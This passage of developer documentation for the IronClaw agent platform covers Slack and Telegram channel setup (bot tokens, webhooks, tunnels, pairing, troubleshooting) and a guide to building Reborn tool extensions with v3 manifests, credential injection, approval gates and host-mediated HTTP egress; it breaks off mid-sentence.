"settings": { "event_subscriptions": { "request_url": "https://example.com/webhooks/extensions/slack/events", "bot_events": [ "app_mention", "message.channels", "message.groups", "message.im", "message.mpim" ] }, "org_deploy_enabled": false, "socket_mode_enabled": false, "token_rotation_enabled": false, "is_mcp_enabled": false } } ``` This is a starting point, not a minimum. The `user` scopes exist for per-user authorization — searching and posting as the person rather than as the bot. If you only want the bot to participate in channels, you can drop the `user` block and the redirect URL with it. `files:read` lets the bot resolve and download inbound file shares. `files:write` lets it return explicitly attached workspace files through Slack's external upload flow. IronClaw never uses the retired `files.upload` method. Slack validates the request URL when you save the manifest, so start IronClaw before creating the app. *** ## Configuration Slack has no settings in the configuration file. The app id, the bot token, the signing secret, and channel routing are all configured in the web interface, on the Slack card under **Extensions** — the tokens go straight into the encrypted secret store. There is no key that turns Slack on. The webhook route is always mounted, and it starts accepting events once the Slack extension is installed and its signing secret is registered. Until then it answers `503`. There is no `IRONCLAW_REBORN_SLACK_ENABLED` environment variable either — the gate it fed was removed in #6116. An older configuration file may still carry a `[slack]` section. Nothing reads it. A leftover setup field — `api_app_id`, `team_id`, `bot_token_env`, `signing_secret_env`, `channel_routes`, and the rest — now stops startup with a pointer to the web interface instead of being quietly ignored, so delete the section. `[slack].enabled` is accepted but inert, so an older install keeps booting. *** ## Troubleshooting IronClaw has to be running and publicly reachable over HTTPS before you save the URL. Confirm the instance answers from outside your network, and that you used the exact `/webhooks/extensions/slack/events` path. The redirect URL registered in the Slack app must match the one IronClaw sends character for character. Check the scheme, the host, the port, and that the path is the full `/api/reborn/product-auth/oauth/slack/callback`. Invite the bot to that channel, and make sure you subscribed to the matching message event. A bot only sees conversations it belongs to. A wrong or missing signing secret makes IronClaw reject every incoming request. Re-enter it through the setup flow, then restart the server. The instance-wide credentials live under **Admin → Configuration**, on the **Slack deployment configuration** card. The **Extensions** page handles the personal half — installing the extension and connecting your own Slack account. # Telegram Source: https://docs.ironclaw.com/channels/telegram Interact with your agent through Telegram Connect IronClaw to a Telegram bot so your agent can receive and reply to messages in direct messages and group chats. ## Prerequisites * A Telegram account * An IronClaw instance reachable from Telegram over public HTTPS with a valid certificate. A local installation works too — put a tunnel (for example [ngrok](https://ngrok.com) or [Cloudflare Tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)) in front of it; see the webhook step below. *** ## Setup Message [BotFather](https://t.me/botfather) and send `/newbot`. Choose a name and a username ending in `bot`. BotFather replies with a token that looks like `123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ`. Keep both the token and the username handy — the configuration form asks for each. The bot token is a full credential for your bot. Anyone holding it can read and send messages as your agent. Don't paste it into a shared channel or commit it to a repository. ```bash theme={null} ironclaw serve ``` Skip this step if your instance already has a public HTTPS address. Otherwise, put a tunnel in front of it. The easiest setup is ngrok — free accounts get one automatically assigned development domain (you don't pick the name; it's shown in the dashboard and in the agent's output): ```bash theme={null} brew install ngrok # or see ngrok.com/download ngrok config add-authtoken # token from dashboard.ngrok.com ngrok http 3000 ``` Use the port IronClaw listens on — `3000` unless you changed `listen_port`. Copy the HTTPS address ngrok prints (something like `https://.ngrok-free.app`) and append the webhook path — that's your webhook URL for the next step: ``` https://.ngrok-free.app/webhooks/extensions/telegram/updates ``` If your tunnel's hostname ever changes (a random `trycloudflare.com` quick tunnel, or a reserved domain you move to), update the **Public webhook URL** field and save again — saving re-registers the webhook with Telegram automatically. Paid ngrok plans can pin a reserved domain with `ngrok http --url=https:// 3000`. Alternatives: `tailscale funnel 3000` gives a stable `https://..ts.net` address if you already use Tailscale, and `cloudflared tunnel --url http://localhost:3000` is a zero-signup option for a quick test (random hostname each start). The tunnel exposes your whole IronClaw instance, not just the webhook path — the WebUI still requires your access token and the Telegram route rejects calls without your webhook secret, but don't share the hostname more widely than needed. In the [web interface](/using/webui), open **Admin → Configuration** and find the **Telegram deployment configuration** card. It has four required fields: | Field | What to enter | | - | - | | **Bot token** | The token BotFather issued in step 1. | | **Webhook secret token** | A value **you invent** — any random string of 1–256 letters, digits, `_` or `-` (for example the output of `openssl rand -hex 32`). IronClaw registers it with Telegram, and Telegram echoes it back on every delivery so forged webhook calls are rejected. | | **Public webhook URL** | The full HTTPS address Telegram delivers updates to: `https://your-host/webhooks/extensions/telegram/updates`. For a local installation, use your tunnel's public hostname here. | | **Bot username** | Your bot's username **without the leading @** (5–32 characters, ending in `bot`). Used for the pairing deep link and group mentions. | Save the configuration. The values are stored in the encrypted secret store, and the webhook is registered with Telegram when the extension activates. Telegram only delivers webhooks to a publicly reachable HTTPS endpoint with a valid certificate, on port 443, 80, 88, or 8443. It will not deliver to a self-signed endpoint or a private address — this is why a local installation needs a tunnel. Open **Extensions**, find **Telegram**, and install it — or simply ask the agent in chat to set up Telegram. Activation registers the webhook with Telegram using the configuration you saved; it fails with a clear error if any of the four fields is missing or invalid. Configuring the bot does not connect *you* to it. Pairing is a separate step that tells IronClaw which Telegram user corresponds to which IronClaw user. Open the pairing panel in the web interface and follow its link or QR code, or start a chat with your bot and send `/start` followed by the displayed code. Pairing is what stops a stranger who finds your bot from talking to your agent as you. Send your bot a direct message. To use it in a group, add the bot to the group — by default Telegram bots only see messages that mention them. *** ## Configuration Telegram has no settings in `config.toml` and no CLI enablement key. The ingress route is compiled in and mounted unconditionally; it starts serving once the deployment configuration is saved and the Telegram extension is active (see the steps above). Until then it returns `503`. The bot token and webhook secret live in the encrypted secret store, not in `config.toml`. See [Configuration](/capabilities/configuration). A `[telegram]` section left over from an older release still parses, but nothing reads it — `ironclaw serve` logs a deprecation notice on boot. Delete the section to silence it. *** ## Troubleshooting Telegram delivers updates by webhook, so your instance must be reachable over HTTPS with a valid certificate on port 443, 80, 88, or 8443. Telegram will not deliver to a self-signed endpoint or a private address. For a local installation, check that your tunnel is running and that the **Public webhook URL** field matches its current public hostname — free tunnel hostnames often change on restart. Either mention the bot directly, or turn off privacy mode through BotFather (`/setprivacy`) so it can see all group messages. Anyone who knows the bot's username can start a chat with it. Unpaired users are not treated as you — complete pairing so your agent only acts on your behalf for your own account. The instance-wide deployment configuration has not been saved, or you reached the pairing panel before it was. Open **Admin → Configuration**, fill in all four fields of the **Telegram deployment configuration** card, and save. Activation registers the webhook with Telegram and fails closed when a value is wrong. Check that the bot token is exactly what BotFather issued, the webhook secret uses only letters, digits, `_` or `-`, the public webhook URL is the full `https://…/webhooks/extensions/telegram/updates` address, and the bot username has no leading `@` and ends in `bot`. The operator half — the deployment configuration — is deliberately not something the agent can do for you; follow the steps above in the web interface. Once the configuration is saved, asking the agent does work for your personal half: it installs and activates the extension and surfaces the pairing panel so you can link your Telegram account. # How to implement a Reborn tool extension Source: https://docs.ironclaw.com/extensions/building-a-tool A Reborn-only implementation guide for IronClaw extension tools # How to implement a Reborn tool extension This guide is for coding agents and engineers adding an IronClaw Reborn extension tool. It is intentionally Reborn-only. Do not use V1 extension, native-extension, pending-OAuth-map, or legacy tool-router patterns when following this document. The guide is grounded in the current GitHub, GSuite, and Notion implementations: * GitHub: bundled WASM capability provider under `crates/extensions/packages/github/`. * GSuite: bundled WASM capability providers for Docs, Drive, Sheets, and Slides; Gmail and Calendar are bundled `first_party` runtimes sharing the same `google` vendor. * Notion: bundled hosted HTTP MCP capability provider under `crates/extensions/packages/notion-mcp/`, with product auth / OAuth DCR wiring in Reborn composition. ## Success criteria A Reborn tool extension is complete only when all of the following are true: 1. The extension package has a `schema_version = "reborn.extension_manifest.v3"` manifest and every model-visible capability has schema, output schema, and prompt assets. 2. The manifest declares exactly one implementation: `[runtime]` with `kind = "wasm"` or `kind = "first_party"`, or a `[mcp]` section for hosted-MCP extensions. 3. The manifest exposes tools as `[[tools]]` entries, each carrying an `origin_gate_matrix`. Do not use the legacy `[[host_api]]` / `[capability_provider.tools]` or top-level `[[capabilities]]` shapes. 4. The runtime code does not read raw secrets, create its own HTTP client for external provider calls, bypass approvals, or dispatch directly into the agent loop. 5. Network, credentials, approvals, and resource bounds are enforced by the Reborn host APIs and runtime services. 6. Tests cover manifest validation, runtime dispatch behavior, credential/auth gates, and caller-facing behavior through the runtime or lifecycle call site. ## Reborn extension flow Use this mental model before touching files: ```text theme={null} Extension package -> lifecycle/discovery materializes it into the extension registry -> ironclaw_extension_registry parses the v3 manifest and projects descriptors -> ironclaw_host_runtime publishes hot model-facing schemas/prompts -> model selects a visible capability -> ironclaw_capabilities performs authorization, approvals, obligations, run state -> host runtime selects the runtime adapter by RuntimeKind -> runtime executes through host-provided services -> host HTTP egress injects staged credentials and enforces network policy -> sanitized JSON output returns to the loop ``` Important ownership rule: ```text theme={null} ironclaw_extension_registry knows what can run. runtime crates know how to run it. authorization/approvals decide whether it may run. host runtime/composition wires the concrete services. ``` Do not collapse those layers into a shortcut. ## Choose the runtime lane Pick one lane first. Do not blend lanes to make a tool work. | Lane | Use when | Current examples | Main files | | - | - | - | - | | WASM capability provider | Provider logic can run in a sandboxed component and use host HTTP egress. This is the default for provider tools. | GitHub, Google Drive, Google Docs, Google Sheets, Google Slides (Gmail and Google Calendar are `first_party` runtimes, not WASM) | `crates/extensions/packages//manifest.toml`, `schemas/`, `prompts/`, optional `wasm-src/` | | Hosted HTTP MCP | The provider already exposes an MCP server and the host should lock egress to that endpoint. | Notion hosted MCP | `crates/extensions/packages/-mcp/manifest.toml`, schemas/prompts, `crates/extensions/ironclaw_extension_host/src/mcp.rs` only if adding a new host-bundled MCP policy shape | | Channel surface (formerly "product adapter") | The extension receives external inbound events or product webhooks. This is not just a model-callable tool lane. | Slack/Telegram channel surfaces, not the main focus of this guide | the package's `[channel]` manifest section + its `ChannelAdapter` (`crates/contracts/ironclaw_extension_contracts/src/channel_adapter.rs`); worked examples `crates/extensions/packages/{slack,telegram}`; see the `reborn-extension-surfaces` skill | There is no `script` runtime kind in v3 manifests. Process/CLI work goes through the built-in process sandbox capability (`system.process_sandbox.run`), not an extension runtime lane. For a new provider API like Linear, Jira, or a small internal SaaS API, start with WASM unless you have a concrete reason not to. ## Crates to touch Touch only the smallest set for your lane. ### Common extension package work Usually touch: * `crates/extensions/packages//manifest.toml` * `crates/extensions/packages//schemas//*.json` * `crates/extensions/packages//prompts//*.md` * when adding a host-bundled extension to the built-in install catalog: a package module `crates/extensions/ironclaw_extension_support/src/packages/.rs` plus its row in `PACKAGES` in `.../src/packages/mod.rs`. Do not register assets in composition; the old `available_extensions.rs` home (now `crates/extensions/ironclaw_extension_host/src/available_extensions.rs`) is being dissolved. Do not touch for ordinary tools: * `crates/extensions/ironclaw_extension_registry/src/v3.rs` (or the legacy `src/v2.rs`), unless changing the manifest contract itself. * `crates/contracts/ironclaw_host_api/src/*`, unless adding a new shared host API type. * `crates/kernel/ironclaw_capabilities`, unless changing authorization/approval orchestration for all capabilities. * `crates/kernel/ironclaw_approvals`, unless changing approval lease semantics. * `crates/substrates/ironclaw_secrets`, unless changing low-level secret storage/lease semantics. * `crates/substrates/ironclaw_network`, unless changing global network policy/HTTP egress semantics. * agent loop crates for tool-specific routing. Tool selection must come from the published capability surface, not hardcoded model-routing logic. ### WASM lane Usually touch: * `crates/extensions/packages//wasm-src/` * `crates/extensions/packages//wasm/.wasm` * the extension manifest, schemas, and prompts. * the package module in `crates/extensions/ironclaw_extension_support/src/packages/` to embed the manifest, schemas, prompts, and WASM bytes if host-bundled. Use as references: * `crates/extensions/packages/github/wasm-src/src/lib.rs` * `crates/extensions/packages/github/wasm-src/src/request.rs` * `crates/kernel/ironclaw_host_runtime/src/wasm_credentials.rs` Do not add a direct `reqwest`/HTTP client inside the WASM tool. Use the WIT host HTTP import (`near::agent::host::http_request`) so Reborn can enforce egress, inject staged credentials, and sanitize failures. ### Hosted MCP lane Usually touch: * `crates/extensions/packages/-mcp/manifest.toml` * `schemas//...` * `prompts//...` * the package module in `crates/extensions/ironclaw_extension_support/src/packages/` if host-bundled. Use as references: * `crates/extensions/packages/notion-mcp/manifest.toml` * `crates/extensions/ironclaw_extension_host/src/mcp.rs` * `crates/domains/ironclaw_auth/src/engine/` * composition provider wiring in `crates/app/ironclaw_composition/src/factory.rs` Only touch `crates/extensions/ironclaw_extension_host/src/mcp.rs` if the hosted MCP runtime policy needs a new generic rule. Notion already demonstrates the common shape: HTTPS-only endpoint, exact host/path match, no URL credentials, no query, no fragment, host-mediated egress, staged product-auth token. ### Auth/OAuth lane Usually touch only when adding a new product-auth provider: * `crates/domains/ironclaw_auth` for provider/scopes/account-domain vocabulary when it must be shared and durable. * `crates/domains/ironclaw_auth/src/engine/` for generic recipe-driven OAuth/API-key exchange behavior. * `crates/extensions/packages//manifest.toml` for bundled first-party provider recipe data. * `crates/app/ironclaw_composition/src/factory.rs` for composition-time provider recipe wiring. * `crates/product/ironclaw_webui/src/product_auth/` only for product auth HTTP setup/callback route surfaces. Do not create extension-local OAuth maps or store OAuth tokens in runtime code. Credential accounts and secrets belong to `ironclaw_auth` / `ironclaw_secrets` through Reborn composition. ## Files not to touch For a normal extension, do not touch these: * Reborn loop strategy code (`crates/loop/`) to special-case your tool. * `crates/domains/ironclaw_llm/*` to teach the model your tool name. * `crates/contracts/ironclaw_host_api` for one provider's fields. * `crates/extensions/ironclaw_extension_registry/src/v2.rs` to allow a one-off manifest shortcut. * `crates/substrates/ironclaw_network` to allow one provider host. * `crates/substrates/ironclaw_secrets` to fetch one provider token. * `crates/kernel/ironclaw_approvals` to make one write operation easier. If your implementation appears to require one of these, stop and identify the missing Reborn contract or composition seam first. ## Manifest v3 structure All Reborn packages use: ```toml theme={null} schema_version = "reborn.extension_manifest.v3" id = "example" name = "Example" version = "0.1.0" description = "Example tools for Reborn." trust = "third_party" [runtime] kind = "wasm" module = "wasm/example_tool.wasm" ``` Extension IDs and capability IDs are authority-bearing: * `id` must be lowercase ASCII letters/digits plus `_`, `-`, or `.`. * Capability IDs are `.`. * Do not use slashes, uppercase, raw host paths, or `..`. * Registry extensions cannot claim effective first-party/system authority. Host composition decides effective trust. ### All tool extensions: use `[[tools]]` Publish each model-visible tool as a `[[tools]]` entry with its credentials as `[[tools.credentials]]` blocks and an `[auth.]` recipe for every referenced credential vendor: ```toml theme={null} [[tools]] origin_gate_matrix = { loop_run = "gated_unless_granted", product = "forbidden", automation = "forbidden" } id = "example.search" description = "Search Example records." effects = ["network", "use_secret"] default_permission = "allow" visibility = "model" input_schema_ref = "schemas/example/search.input.v1.json" output_schema_ref = "schemas/example/search.output.v1.json" prompt_doc_ref = "prompts/example/search.md" [[tools.credentials]] handle = "example_runtime_token" vendor = "example" scopes = ["records.read"] audience = { scheme = "https", host = "api.example.com" } injection = { type = "header", name = "authorization", prefix = "Bearer " } [auth.example] method = "oauth2_code" display_name = "Example account" authorization_endpoint = "https://example.com/oauth/authorize" token_endpoint = "https://example.com/oauth/token" scopes = ["records.read"] [auth.example.token_response] access_token = "/access_token" ``` `token_response` is required for `oauth2_code` recipes — it maps JSON pointers in the provider's token response (at minimum `access_token`; add `refresh_token` / `expires_in` for expiring tokens, as Notion does). Host ports are derived from effects in v3 — do not declare `required_host_ports`. The derived entries are validation vocabulary checked against the host's `HostPortCatalog` allowlist; concrete host-port adapters are constructed by host-runtime services only after authorization and obligation preparation, never from the manifest. The worked `oauth2_code` examples (token-response captures, identity maps) are `crates/extensions/packages/slack/manifest.toml` and `crates/extensions/packages/notion-mcp/manifest.toml`; the worked `api_key` example (form fields plus a validation probe) is in `crates/extensions/packages/github/manifest.toml`. Do not use the legacy `[[host_api]]` / `[capability_provider.tools]` shape or top-level `[[capabilities]]` for new work. The registry still parses already-installed v2 manifests for compatibility, but authoring is v3-only; port a v2 file to `[[tools]]` when touching that extension. ### Origin gate matrix Every `[[tools]]` entry (and the `[mcp]` section) declares an `origin_gate_matrix`: the per-origin approval-gate policy for who may invoke the capability. Origins are `loop_run` (the model during an agent run), `product` (a direct user gesture in the product), and `automation` (triggers, cron, background jobs). Policies, from `OriginGatePolicy` in `crates/contracts/ironclaw_host_api/src/capability.rs`: * `forbidden` — the origin may not invoke the capability at all. This is the default for every omitted origin, so a tool without a matrix cannot be invoked from any origin. * `ask_always` — every invocation gates; persistent grants are never honored. * `gated_unless_granted` — gates unless a scoped persistent/policy grant covers it. The normal choice for provider tools invoked by the model. * `consent_sufficient` — the origin's own gesture is the consent evidence (`product` only; never valid for `loop_run` or `automation`). * `ungated` — no approval gate. For `loop_run` this requires a reviewed allowlist entry (`UNGATED_LOOP_RUN_CAPABILITIES`); additions are a security review, not a manifest edit. The field is structurally optional in the parser, but shipped packages are required to declare a `loop_run` policy on every capability by the architecture ratchet (`crates/app/ironclaw_architecture_tests/tests/reborn_origin_gate_matrix_ratchet.rs`). The common provider-tool shape is `{ loop_run = "gated_unless_granted", product = "forbidden", automation = "forbidden" }`. ### Capability fields Required per model-visible `[[tools]]` entry: * `origin_gate_matrix`: per-origin gate policy (previous section). * `id`: stable `.` capability ID. * `description`: short, model-facing description. * `effects`: accurate effects. Include `external_write` for provider writes, mutations, sends, deletes, comments, or workflow dispatches. * `default_permission`: use `ask` for writes and high-risk reads; use `allow` only for low-risk read capabilities that policy deliberately permits. * `visibility`: usually `model` (the default). * `input_schema_ref`: relative path to JSON schema. Required unless the tool binds a `standard_op`, which supplies the host-canonical schemas. * `output_schema_ref`: relative path to JSON schema. Optional — omit it when the tool has no structured output contract (the gmail package declares none). * `prompt_doc_ref`: relative path to concise operation guidance. * `[[tools.credentials]]`: declare every credential the runtime may receive. Optional bounds: `network_targets`, `max_egress_bytes`, `resource_profile`. Validation catches common mistakes: * Credentials without `use_secret` in `effects` are rejected. This includes product-auth account credentials: product auth selects/refreshes the account, but runtime dispatch still uses a host-staged access-secret handle. * A credential `vendor` with no matching `[auth.]` recipe is rejected, and an `[auth.]` recipe no credential references is rejected. * Credential audiences must be HTTPS with a literal host — wildcards are rejected in v3. * Duplicate effects and duplicate credential handles are rejected. * Unknown fields are rejected throughout the manifest, with two deliberate exemptions: the root `[metadata]` table is free-form authoring metadata (ignored), and extra keys in an `[auth.].identity` map are named identity-claim pointers, not typos. * Schema and prompt refs must be relative package paths, not absolute paths, URLs, backslash paths, or paths with `..`. ### Effects and approvals Use effects as authorization inputs, not as documentation. Common mapping: * Read-only API call with credentials: `["network", "use_secret"]`. * Provider write: add `"external_write"`. * Local filesystem read/write: use `read_filesystem`, `write_filesystem`, `delete_filesystem` as appropriate. * Process/CLI work: use `execute_code` or `spawn_process` as appropriate. * Money or irreversible financial actions: include `financial`. `default_permission = "ask"` is the normal default for anything with `external_write`, `financial`, local write/delete, process execution, approval mutation, extension mutation, or budget mutation. Approvals are resolved by `ironclaw_capabilities`, `ironclaw_approvals`, and run state. Runtime code must return a normal runtime error when blocked; it must not prompt the user, mint approval leases, or resume turns directly. ## Schemas and prompts Schemas are part of the hot model-facing surface. They should make the desired input shape obvious and reject ambiguous or unsafe input before side effects. Follow these rules: * Use JSON Schema object inputs with `additionalProperties: false` unless the upstream provider truly requires arbitrary JSON. * Require the fields needed to construct one provider operation. * Prefer provider-neutral names only when they are already established locally. * Put path/ID/URL validation in runtime code too; schemas are not a security boundary. * Output schemas may be provider raw JSON for compatibility, as GitHub and many Google WASM tools do, but typed output is better when the runtime owns the shape. Prompt docs are lazy help metadata. Keep them operation-specific: * What the tool does. * Required identifiers. * How to avoid common destructive mistakes. * Any provider constraints the model should know. Do not put secrets, host paths, environment assumptions, or V1 setup commands in prompt docs. ## HTTP and network integration Runtime code must use host-mediated HTTP: * WASM tools call the WIT host HTTP import, as GitHub does through `near::agent::host::http_request`. * Hosted MCP uses `McpHostHttpClient` with `McpRuntimeHttpAdapter` and a host-owned egress planner. Do not: * instantiate direct `reqwest` clients in runtime code for provider API calls; * follow redirects yourself to bypass host policy; * accept model-provided `Authorization`, cookie, API-key, or token headers; * put credentials in URLs; * widen global network policy for one extension. Network policy belongs in host/runtime planning: * WASM credential injection is derived from manifest descriptors in `crates/kernel/ironclaw_host_runtime/src/wasm_credentials.rs`. * Hosted MCP policy is planned in `crates/extensions/ironclaw_extension_host/src/mcp.rs`. * GSuite WASM tools should declare narrow credential audiences and use host HTTP egress for Google API hosts. * Shared HTTP enforcement and redaction live in `crates/kernel/ironclaw_host_runtime/src/egress/` and `crates/substrates/ironclaw_network`. Provider requests should set ordinary provider headers like `Accept`, `Content-Type`, API version, and User-Agent in runtime code. Credential headers must come from `[[tools.credentials]]` and host egress injection. ## Secrets and runtime credentials Secrets are opaque handles in manifests and host API types. Runtime code should never see raw token material except as already-injected HTTP request data inside the host egress boundary. Declare a `[[tools.credentials]]` block for every credential a tool may receive. The credential's `vendor` names the credential authority; the matching `[auth.]` recipe in the same manifest defines how accounts are set up (OAuth or API key). Host egress injects the selected account's access-secret handle at dispatch time: ```toml theme={null} [[tools.credentials]] handle = "github_runtime_token" vendor = "github" audience = { scheme = "https", host = "api.github.com" } injection = { type = "header", name = "authorization", prefix = "Bearer " } ``` Important fields: * `handle`: extension/runtime-local credential handle. Keep it stable. * `vendor`: credential-authority namespace, for example `github`, `google`, or `notion`. Several extensions may share one vendor (gmail, drive, and calendar all use `google`). This is not the extension id. * `scopes`: scopes required for this capability. Used for account selection and scope mismatch checks. * `audience`: exact HTTPS provider host (literal, no wildcards) the credential may be sent to. Optional `port`. * `injection`: header/query/path-placeholder injection target. Header is preferred. * `required`: defaults to `true`. Credential flow: ```text theme={null} manifest [[tools.credentials]] -> authorization obligation for use_secret -> product-auth account selection or secret lease -> RuntimeSecretInjectionStore staging -> HostHttpEgressService injects once for matching capability + audience -> host strips/redacts sensitive request and response material ``` Do not call `SecretStore::put`, `lease_once`, or `consume` from an extension runtime. Those are trusted setup/composition primitives, not tool APIs. ## Product auth and OAuth Use product-auth account sources for provider accounts. Current patterns: * GitHub uses provider `github` and injects a bearer token for `api.github.com`. * GSuite uses provider `google`, OAuth scopes per capability, and host egress to Google API hosts. * Notion uses provider `notion`, DCR/OAuth recipe data wired by composition, and a bearer token for `mcp.notion.com`. For a new OAuth provider: 1. Add provider ID and shared scope vocabulary only if it must be shared across crates. 2. Add the `[auth.]` recipe in `crates/extensions/packages//manifest.toml` (`method = "oauth2_code"` or `"api_key"`), and keep `ironclaw_auth/src/engine/` generic — the host engine runs the recipe; there is no per-vendor auth code. 3. Wire OAuth start/callback through product-auth services, not an extension-local map. 4. Store access/refresh material as credential-account secret handles. 5. Declare per-capability scopes on each `[[tools.credentials]]` block. 6. Ensure auth-required dispatch errors map to structured product-auth requirements instead of leaking provider or backend details. Missing credentials should produce an auth-required gate, not a plain backend failure and not a model-visible token prompt. ## WASM implementation pattern WASM tools implement `crates/lanes/ironclaw_wasm/wit/tool.wit`: ```rust theme={null} wit_bindgen::generate!({ world: "sandboxed-tool", path: "../../../../ironclaw_wasm/wit/tool.wit", }); struct ExampleTool; impl exports::near::agent::tool::Guest for ExampleTool { fn execute(req: exports::near::agent::tool::Request) -> exports::near::agent::tool::Response { match execute_inner(&req.params, req.context.as_deref()) { Ok(output) => exports::near::agent::tool::Response { output: Some(output), error: None, }, Err(code) => exports::near::agent::tool::Response { output: None, error: Some(error_payload(&code)), }, } } fn schema() -> String { schema::schema() } fn description() -> String { "Example Reborn tool. Credentials are injected only by host HTTP egress.".to_string() } } export!(ExampleTool); ``` Rules: * Prefer operation selection from `req.context.capability_id`, as GitHub does. Do not let the model choose a hidden `action` that can mismatch the capability ID. * Deserialize with unknown fields denied. * Validate provider path segments, refs, IDs, pagination, and limits in runtime code before HTTP. * Use host HTTP imports for provider calls. * Return stable, sanitized error codes. Do not echo raw host egress errors, provider credentials, provider response bodies containing sensitive data, or raw backend messages. * Keep schema and runtime input expectations in sync. GitHub is the strongest current reference for this lane: * `operation_comes_from_host_context_not_param_shape` * `serde_rejects_unknown_fields_before_egress` * `sanitizes_host_egress_errors_without_leaking_details` * path/ref validation tests ## Hosted MCP implementation pattern A hosted-MCP extension declares a top-level `[mcp]` section **instead of** `[runtime]` — the two are mutually exclusive: ```toml theme={null} [mcp] origin_gate_matrix = { loop_run = "gated_unless_granted", product = "forbidden", automation = "forbidden" } server = "https://mcp.notion.com/mcp" namespace = "notion" max_tools = 256 default_permission = "ask" effects = ["network", "use_secret", "external_write"] [[mcp.credentials]] handle = "mcp_notion_access_token" vendor = "notion" scopes = [] injection = { type = "header", name = "authorization", prefix = "Bearer " } ``` `namespace` must equal the extension id, and `max_tools` must be at least 1. Tools are discovered from the server's live catalog; a package may additionally pin static `[[tools]]` entries beside `[mcp]` that a successful discovery replaces (worked example: `crates/extensions/packages/nearai-mcp/manifest.toml`). For host-bundled hosted HTTP MCP, Reborn composition: * accepts only HTTPS endpoint URLs; * rejects userinfo, query strings, fragments, wrong scheme, wrong host, and wrong path; * derives a locked network policy from the manifest endpoint; * projects `[[mcp.credentials]]` to staged credential injections when the capability and endpoint audience match; * uses `RuntimeHttpEgress` instead of ambient MCP HTTP clients. Notion is the reference (`crates/extensions/packages/notion-mcp/manifest.toml`): one `[mcp]` section, an `[auth.notion]` OAuth recipe, and a bearer credential for `mcp.notion.com`. Do not make a hosted MCP runtime call directly from an extension lifecycle or agent-loop path. Let the MCP runtime and host egress planner own it. ## Packaging host-bundled extensions Every host-bundled integration is a self-contained package directory `crates/extensions/packages//` (manifest + schemas + prompts + any WASM) beside one package module `crates/extensions/ironclaw_extension_support/src/packages/.rs`. The package module: * embeds the manifest, schema, prompt, and WASM assets via `include_str!` / `include_bytes!`; * defines lifecycle summaries and onboarding text; * is collected through its row in `PACKAGES` in `crates/extensions/ironclaw_extension_support/src/packages/mod.rs`. Composition consumes packages as opaque bundles and never names one; the binary alone links the concrete channel-adapter crates (slack, telegram) and builds their binding table. Do not register package assets in composition — the old `available_extensions.rs` home is being dissolved. When adding a host-bundled package: 1. Add manifest/assets under `crates/extensions/packages//`. 2. Add the package module in `crates/extensions/ironclaw_extension_support/src/packages/.rs` and its row in `PACKAGES` in `.../src/packages/mod.rs`. 3. Add assets for every `input_schema_ref`, `output_schema_ref`, and `prompt_doc_ref`. 4. Add onboarding only if setup is needed. 5. Add tests that every manifest asset ref is packaged. For non-bundled registry packages, do not add them to this host-bundled catalog. They should be discovered from `/system/extensions//` through the same manifest host API path. ## Publication to the model Hot model-facing publication happens in: * `crates/kernel/ironclaw_host_runtime/src/capability_catalog.rs` It resolves input schema refs, output schema refs, and optional prompt docs under the extension root. It does not grant authority and does not execute runtime code. Constraints to keep in mind: * input/output schema files are bounded to 64 KiB; * prompt docs are bounded to 16 KiB; * schema files must parse as valid JSON Schema; * only `visibility = "model"` capabilities enter the model-facing catalog. If a tool does not appear to the model, inspect manifest visibility, lifecycle activation, asset packaging, and schema validity before touching the agent loop. ## Approval and auth outcomes A capability can stop before runtime dispatch for authorization or approval. That is expected. Do not bypass it. Approval path: ```text theme={null} CapabilityHost invokes -> authorization requires approval -> approval record is stored with invocation fingerprint -> run state marks blocked approval -> user resolves approval -> resolver issues scoped lease -> resume validates fingerprint -> runtime dispatch happens once ``` Auth-required path: ```text theme={null} runtime credential missing or scope-mismatched -> runtime/obligation returns auth-required context -> product-auth creates setup/OAuth/manual-token gate -> credential account stores access secret handle -> continuation resumes or the next invocation selects the account ``` Runtime code should produce typed/sanitized failures that map into these paths. It should not serialize raw OAuth URLs, raw tokens, approval IDs, or provider errors into model output. ## Tests to add Minimum tests for a Reborn tool: ### Manifest and packaging * manifest parses as `reborn.extension_manifest.v3`; * capability IDs use the extension prefix; * every capability declares an `origin_gate_matrix` with a `loop_run` policy; * every capability has matching schema and prompt assets; * credential capabilities include `use_secret` and every credential vendor has an `[auth.]` recipe; * write capabilities include `external_write` and default to `ask`; * bundled package assets include every manifest ref; * extension manifests use `[[tools]]` entries, never the legacy `[[host_api]]` / `[capability_provider.tools]` or top-level `[[capabilities]]` shapes. Useful existing test areas: * `crates/extensions/ironclaw_extension_registry/tests/manifest_v3_contract.rs` * `crates/app/ironclaw_architecture_tests/tests/reborn_origin_gate_matrix_ratchet.rs` * `crates/kernel/ironclaw_host_runtime/src/capability_catalog.rs` tests ### Runtime behavior For WASM: * operation comes from invocation context capability ID; * unknown fields are rejected before egress; * unsafe provider paths/refs are rejected; * host egress errors are sanitized; * auth status maps to auth-required rather than leaking backend detail; * output-size/body-limit cases map to stable errors. For hosted MCP: * planner denies wrong provider, wrong host, HTTP scheme, wrong path, query, fragment, and URL userinfo; * planner emits locked network policy for the canonical endpoint; * manifest runtime credentials project to staged injections. ### Integration/caller-facing Add a test through the actual call site that gates side effects: * `CapabilityHost` or runtime adapter dispatch for capability invocation. * Extension lifecycle install/readiness path for package publication. * Product-auth setup/callback path for OAuth-backed credentials. A helper-only test is not enough when a helper gates HTTP, DB writes, OAuth, tool execution, or lifecycle readiness. ## Review checklist Before opening a PR, verify: * No V1 architecture paths were touched. * No runtime code fetches raw secrets. * No runtime code creates ambient external HTTP clients for provider calls. * Every provider write has `external_write` and default `ask`. * Every credential audience is HTTPS and as narrow as possible. * Every schema/prompt ref is package-relative and packaged. * Auth-required paths include provider/scopes/requester extension context. * Error messages are sanitized and stable. * Relevant docs/specs and `FEATURE_PARITY.md` were checked if behavior changed. * Targeted tests pass. ## Concrete examples to copy Copy these runtime, credential, and security patterns, not legacy manifest shape. If a manifest you encounter still uses the legacy v2 shapes (`[[host_api]]` / `[capability_provider.tools]` or top-level `[[capabilities]]`), port the semantics into v3 `[[tools]]` entries before extending it. * GitHub WASM operation dispatch: `crates/extensions/packages/github/wasm-src/src/lib.rs` * GitHub host HTTP request wrapper: `crates/extensions/packages/github/wasm-src/src/request.rs` * GitHub manifest credential/effect semantics: `crates/extensions/packages/github/manifest.toml` * Google Drive WASM OAuth scopes by operation: `crates/extensions/packages/google-drive/manifest.toml` * Gmail and Google Calendar are bundled `first_party` runtimes sharing the `google` vendor — a reference for the first-party lane, not 